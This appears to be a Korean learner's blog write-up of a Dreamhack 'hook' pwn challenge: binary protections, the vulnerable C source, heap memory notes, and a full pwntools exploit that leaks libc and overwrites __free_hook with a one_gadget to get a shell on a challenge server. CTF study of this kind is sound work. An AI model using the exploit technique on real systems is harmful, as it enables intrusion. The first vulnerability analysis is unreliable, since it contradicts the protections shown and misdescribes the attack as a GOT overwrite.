60번째 문제 드가자~
국비 합격 연락 받았다 하하. 즐겁게 공부해보자고~
이 설명은 **Ubuntu 16.04** 환경에서 실행 중인 특정 바이너리(실행 파일)의 보안 설정을 나타냅니다. 각 설정은 프로그램의 보안성을 높이는 기능으로, 주요 요소를 분석해보겠습니다.
1. **Arch: amd64-64-little**
- **Architecture (Arch)**는 바이너리가 64비트 AMD64 아키텍처에서 실행되고 있으며, **little-endian** 방식을 사용함을 나타냅니다. 여기서 **little-endian**은 데이터의 가장 작은 바이트가 메모리의 가장 낮은 주소에 저장되는 형식을 말합니다.
2. **RELRO: Full RELRO**
- **RELRO**(Relocation Read-Only)는 런타임 중 일부 메모리 영역을 읽기 전용으로 설정해 **바이너리의 메모리 보호** 수준을 강화합니다.
- **Full RELRO**는 **전체 전역 오프셋 테이블(GOT)**을 읽기 전용으로 만들어, **GOT 공격**을 방어할 수 있습니다. 이 설정은 보안을 강화하지만, 약간의 성능 비용이 발생합니다.
3. **Stack: Canary found**
- **Stack Canary**는 **스택 버퍼 오버플로** 공격을 방어하기 위한 보안 기능입니다. 스택에 **canary**라는 값(무작위 값)을 배치하고, 함수가 리턴하기 전에 이 값이 변하지 않았는지 확인하여 스택의 무결성을 검증합니다.
- 이 **Canary**가 발견되었다면, 스택 버퍼 오버플로로 인해 값이 변경되었을 경우 프로그램이 즉시 종료되어 공격을 방어할 수 있습니다.
4. **NX: NX enabled**
- **NX**(No-eXecute)는 **스택과 힙 메모리 영역을 실행 불가능하게 설정**하는 보안 기능입니다. **코드 실행 보호(CDEP)**라고도 하며, 이러한 설정이 있으면 메모리의 데이터 영역에서 실행하려는 시도(예: 쉘코드 실행)가 차단됩니다.
- **NX가 활성화**되면 스택과 힙에 저장된 쉘코드를 실행하는 공격을 방지할 수 있습니다.
5. **PIE: No PIE (0x400000)**
- **PIE**(Position Independent Executable)는 프로그램이 **메모리에서 로드되는 주소를 무작위화**하여 예측을 어렵게 하는 보안 기능입니다.
- **No PIE** 설정은 이 바이너리가 **고정된 시작 주소(0x400000)**에서 로드됨을 의미합니다. 이 경우 **주소 무작위화(ASLR)**가 적용되지 않아, 특정 메모리 주소에 대한 공격이 가능할 수 있습니다.
### 종합 평가
이 바이너리는 **Full RELRO**, **Stack Canary**, **NX** 등의 보안 기능을 통해 메모리 보호 수준이 강화되어 있습니다. 그러나 **No PIE** 설정으로 인해 코드 영역이 고정된 위치에 있어, 공격자가 메모리 레이아웃을 예측할 수 있어 취약점이 될 수 있습니다.
소스코드다
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
이 코드는 메모리 할당, 포인터 조작, 그리고 `system("/bin/sh")` 호출을 포함하고 있어 여러 보안 취약점이 발생할 가능성이 큽니다. 주요 취약점과 이를 이용해 쉘을 얻는 방법을 살펴보겠습니다.
### 코드 분석 및 주요 취약점
1. **RELRO 설정 없음**
- 컴파일 옵션에서 `-Wl,-z,norelro` 옵션을 사용해 **RELRO가 비활성화**되어 있습니다. 이로 인해 전역 오프셋 테이블(GOT)이 쓰기 가능한 상태로 남아, GOT 테이블의 특정 주소를 덮어쓸 수 있는 가능성이 생깁니다.
2. **포인터 초기화 없이 사용**
```c
long *ptr;
size_t size;
```
- `ptr` 포인터는 초기화되지 않은 상태로 `malloc(size)` 이후 메모리 주소를 가리킵니다. 이 할당된 메모리에 대해 충분한 검증 없이 입력을 받는 부분이 있어 **버퍼 오버플로우**가 발생할 가능성이 있습니다.
3. **double free (이중 해제)**
```c
free(ptr);
free(ptr);
```
- `ptr`에 대해 두 번 `free()`가 호출됩니다. 이는 **이중 해제(double free)** 취약점으로, 메모리 관리에서 예상치 못한 동작을 유발할 수 있습니다.
4. **메모리 수정**
```c
*(long *)*ptr = *(ptr+1);
```
- `*(long *)*ptr`와 같이 포인터 역참조를 통해 메모리의 임의 주소에 데이터를 기록하는 부분이 있습니다. 이로 인해 **임의 메모리 쓰기** 취약점이 발생할 수 있습니다.
- 공격자가 이 취약점을 이용해 특정 주소, 예를 들어 GOT의 `exit()` 주소를 덮어쓰고 원하는 위치로 리다이렉션할 수 있습니다.
5. **쉘 호출**
```c
system("/bin/sh");
```
- `system("/bin/sh")`가 호출되어 있어, 코드 흐름을 조작하면 **쉘을 직접 호출**할 수 있습니다.
### 공격 방법 및 쉘 획득 절차
1. **버퍼 오버플로우로 임의 메모리 수정**
- 입력된 `size` 값을 이용해 충분히 큰 크기의 메모리를 할당한 뒤, `ptr`에 `read(0, ptr, size);`를 통해 과도한 데이터를 입력하면 **버퍼 오버플로우**가 발생할 수 있습니다.
- 이 과정을 통해, `*(long *)*ptr = *(ptr+1);` 구문에서 임의의 주소를 덮어쓸 수 있습니다.
2. **GOT 테이블의 `exit()` 함수 주소 덮어쓰기**
- `RELRO`가 비활성화되어 있으므로, GOT에 있는 `exit()` 함수의 주소를 덮어쓰고 `system("/bin/sh")` 주소로 리다이렉션할 수 있습니다.
- 이를 통해 프로그램이 `exit()`를 호출할 때 대신 `/bin/sh`가 실행되도록 할 수 있습니다.
3. **익스플로잇 예시**
- 입력을 통해 `size` 값과 `ptr`에 대한 적절한 값을 설정하여 GOT의 `exit()` 주소를 `system("/bin/sh")` 주소로 변경한 뒤 쉘을 획득합니다.
### 종합적으로
위의 취약점을 이용해 메모리 주소를 조작하고, `system("/bin/sh")` 호출로 인해 쉘을 획득할 수 있습니다.
]
이 문제를 풀기위해선 동적할당 malloc()함수를 알아야한다.
메모리의 동적 할당(dynamic allocation)
데이터 영역과 스택 영역에 할당되는 메모리의 크기는 컴파일 타임(compile time)에 미리 결정됩니다.
하지만 힙 영역의 크기는 프로그램이 실행되는 도중인 런 타임(run time)에 사용자가 직접 결정하게 됩니다.
이렇게 런 타임에 메모리를 할당받는 것을 메모리의 동적 할당(dynamic allocation)이라고 합니다.
malloc() 함수
malloc() 함수는 프로그램이 실행 중일 때 사용자가 직접 힙 영역에 메모리를 할당할 수 있게 해줍니다.
혼공책에서는 힙 영역을 이렇게 얘기한다 os에서 프로세스의 메모리 영역 목차 중 얘기다
프로세스가 생성되면 커널 영역에 pcb(process control block)--운영체제가 빠르게 번갈아 수행되는
프로세스의 실행 순서를 관리하고 프로세스에 cpu를 비롯한 자원을 배분하기위해 사용되는 프로세스와
관련된 정보를 저장하는자료 구조.[해당 프로세스를 식별하기 위해 꼭 필요한 정보들].
pcb가 생성됩니다.
그렇다면 사용자 영역에는 프로세스가 어떻게 배치될까요?
하나의 프로세스는 사용자 영역에 크게 코드영역, 데이터 영역, 힙영역, 스택영역으로 나누어 저장됩니다.
코드 영역=텍스트 영역이라고도 부릅니다. 이곳에는 말 그대로 실행 할 수 있는 코드, 즉 기계어로 이루어진 명령어가 저장됩니다. 코드 영역에는 데이터가 아닌 cpu가 실행할 명령어가 담겨있기 때문에 쓰기가 금지되어 있습니다. 다시 말해 코드 영역은 읽기 전용 공간입니다.
데이터 영역은 잠깐 썼다가 없앨 데이터가 아닌, 프로그램이 실행되는 동안 유지할 데이터가 저장되는 공간입니다.전역 변수(global variable)이 대표적. --프로그램이 실행되는 동안 유지되며, 프로그램 전체에서 접근할 수 있는 변수.
코드 영역과 데이터 영역은 그 크기가 변하지않습니다. 프로그램을 구성하는 명령어들이 갑자기 바뀔 일이 없으니까요. 코드 영역의 크기가 변할리 없고, 데이터 영역에 저장될 내용은 프로그램이 실행되는 동안에만 유지될 데이터니까요. 이런걸 정적할당영역이라고도 부릅니다. (Static Memory Allocation)
그 반대로 힙, 스택 영역은 프로세스 실행 과정에서 그 크기가 변할 수 있는 영역입니다. 동적할당 영
(dynamic allocation) malloc , calloc , realloc 함수
힙 영역(heap segment)는 프로그램을 만드는 사용자, 즉 프로그래머가 직접 할당할 수 있는 저장 공간입니다. 프로그래밍 과정에서 힙 영역에 메모리 공간을 할당했다면 언젠가는 해당 공간을 반환해야합니다. 메모리 공간을 반환한다는 의미는 '더이상 해당 메모리 공간을 사용하지않겠다'라고 운영체제에 말해주는 것 과 같습니다.
메모리 공간을 반환하지 않는다면 할당한 공간은 메모리 내에 계속 남아 메모리 낭비를 초래합니다.
이런 문제를 메모리 누수(memory leak)라고 합니다.
스택 영역(stack segment)는 데이터를 일시적으로 저장하는 공가입니다. 데이터 영역에 담기는 값과는 달리
잠깐 쓰다가 말 값들이 저장되는 공간이지요. 이런 데이터로는 함수의 실행이 끝나면 사라지는
매개변수, 지연 변수가 대표적입니다
힙 영역은 메모리의 낮은 주소에서 높은 주소로 할당되고, 스택영역은 높은 주소에서 낮은 주소로 할당됩니다
그래야만 힙 영역과 스택 영역에 데이터가 쌓여도 새롭게 할당되는 주소가 겹칠 일이 없겠죠.
https://blog.naver.com/PostView.naver?blogId=luexr&logNo=223168897373
https://dig06161.github.io/2023/02/07/dreamhack-pwn-hook/
https://velog.io/@azurp158/Dreamhack-Hook
from pwn import *
p = remote('host3.dreamhack.games', 21089)
e = ELF('./hook')
libc = ELF('./libc-2.23.so')
# 1. Calculate oneshot gadget absolute address on memory at runtime
p.recvuntil(b'stdout: ')
stdout_addr = int(p.recvuntil(b'\n'), 16)
libc_addr = stdout_addr - libc.symbols['_IO_2_1_stdout_']
free_hook_addr = libc_addr + libc.symbols['__free_hook']
one_gadget_addr = libc_addr + [0x45226, 0x4527a, 0xf03a4, 0xf1247][1]
success(f'stdout_addr: {hex(stdout_addr)}')
success(f'libc_addr: {hex(libc_addr)}')
success(f'__free_hook addr: {hex(free_hook_addr)}')
success(f'one_gadget_addr: {hex(one_gadget_addr)}')
# 2. hook overwrie
payload = p64(free_hook_addr) + p64(one_gadget_addr)
p.sendlineafter(b'Size: ', str(len(payload)).encode()) # Just big big number
p.sendlineafter(b'Data: ', payload)
p.interactive()
이분 블로그를 보면 2중 포인터를 잘 설명해주셨다
참고 코드 출처 ㅣ https://blog.naver.com/PostView.naver?blogId=luexr&logNo=223168897373
`p.recvuntil`에서 **recv**는 **receive**의 약자입니다. 즉, `p.recvuntil`은 **특정 문자열이 나타날 때까지 데이터를 수신**하는 함수입니다. `recv` 함수에 `until` 조건이 추가되어, 특정 문자열이 수신될 때까지 계속 데이터를 받는 역할을 합니다.
이 함수는 **네트워크 통신** 또는 **프로세스 간 통신**에서 주로 사용되며, 원하는 패턴이 수신될 때까지 데이터를 기다렸다가 필요한 부분만 가져오는 데 유용합니다.
이 코드는 원격 서버의 바이너리에 **free hook overwrite** 기술을 사용하여 원샷 가젯을 실행하고, 시스템 쉘을 획득하려는 익스플로잇입니다. 각 부분을 단계별로 설명하겠습니다.
### 코드 분석
1. **라이브러리 및 원격 서버 연결**
```python
from pwn import process, remote, ELF, success, p64
p = remote('host3.dreamhack.games', 9727)
e = ELF('./hook')
libc = ELF('./libc-2.23.so')
```
- `remote()`를 사용하여 원격 서버의 특정 포트(9727)에 연결합니다.
- 바이너리 `hook`과 `libc-2.23.so`를 각각 ELF 객체로 로드합니다. 이 `ELF` 객체는 바이너리의 함수 주소나 심볼을 참조할 수 있게 해줍니다.
2. **libc 주소와 oneshot gadget 주소 계산**
```python
p.recvuntil(b'stdout: ')
stdout_addr = int(p.recvuntil(b'\n'), 16)
libc_addr = stdout_addr - libc.symbols['_IO_2_1_stdout_']
free_hook_addr = libc_addr + libc.symbols['__free_hook']
one_gadget_addr = libc_addr + [0x45226, 0x4527a, 0xf03a4, 0xf1247][1]
```
- `stdout` 주소를 수신하고, 이를 이용해 `libc`의 베이스 주소(`libc_addr`)를 계산합니다. 이는 `_IO_2_1_stdout_`의 오프셋을 사용하여 계산됩니다.
- `__free_hook`의 주소는 `libc`의 베이스 주소에 `__free_hook` 심볼의 오프셋을 더해 계산됩니다.
- `one_gadget`의 주소는 `libc` 베이스 주소에 미리 정의된 `one_gadget`의 오프셋([0x45226, 0x4527a, 0xf03a4, 0xf1247] 중 두 번째 값)을 더해 계산됩니다. 이 주소는 특정 조건에서 바로 쉘을 획득할 수 있는 원샷 가젯을 가리킵니다.
3. **`success()` 함수 사용**
```python
success(f'stdout_addr: {hex(stdout_addr)}')
success(f'libc_addr: {hex(libc_addr)}')
success(f'__free_hook addr: {hex(free_hook_addr)}')
success(f'one_gadget_addr: {hex(one_gadget_addr)}')
```
- `success()` 함수는 `pwntools`에서 제공하는 함수로, 메시지를 성공적으로 출력하고 로그에 표시합니다. 디버깅 및 중간 값 확인을 위해 사용됩니다.
- 여기서는 계산된 `stdout`, `libc`, `__free_hook`, `one_gadget` 주소를 확인합니다.
4. **Free Hook Overwrite 페이로드 생성 및 전송**
```python
payload = p64(free_hook_addr)
payload += p64(one_gadget_addr)
p.sendlineafter(b'Size: ', str(len(payload))) # Just big big number
p.sendlineafter(b'Data: ', payload)
```
- `payload`를 생성합니다. `__free_hook`의 주소에 `one_gadget` 주소를 덮어씁니다.
- `__free_hook`을 `one_gadget`으로 덮어쓰면 `free()` 함수가 호출될 때 `one_gadget`으로 리다이렉트되어 쉘을 얻을 수 있습니다.
- `sendlineafter()` 함수는 특정 문자열을 수신한 후 페이로드를 전송합니다. 여기서는 `Size:` 프롬프트 후 `len(payload)`를, `Data:` 프롬프트 후 `payload`를 전송합니다.
5. **쉘 인터랙티브 모드**
```python
p.interactive()
```
- `interactive()` 함수는 쉘과 상호작용할 수 있도록 하여 익스플로잇 성공 시 사용자가 직접 쉘을 제어할 수 있도록 합니다.
### 요약
이 코드는 `__free_hook`을 `one_gadget` 주소로 덮어쓰는 익스플로잇으로, 이후 `free()`가 호출되면 `one_gadget`으로 이동하여 쉘을 실행하게 됩니다
.
libc의 시작 주소는 stdout_address - stdout_offset을 이용하면 구할 수 있다.
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[62] IT 비전공자 [dreamhack]Basic_Crypto1문제 풀기 (2) | 2024.11.10 |
---|---|
[61] IT 비전공자 [dreamhack]sint문제 풀기 (3) | 2024.11.09 |
[59] IT 비전공자 [dreamhack]sql injection bypass WAF문제 풀기 (10) | 2024.11.07 |
[58] IT 비전공자 [dreamhack]command-injection-chatgpt문제 풀기 (3) | 2024.11.06 |
[57] IT 비전공자 [dreamhack]oneshot문제 풀기 (2) | 2024.11.05 |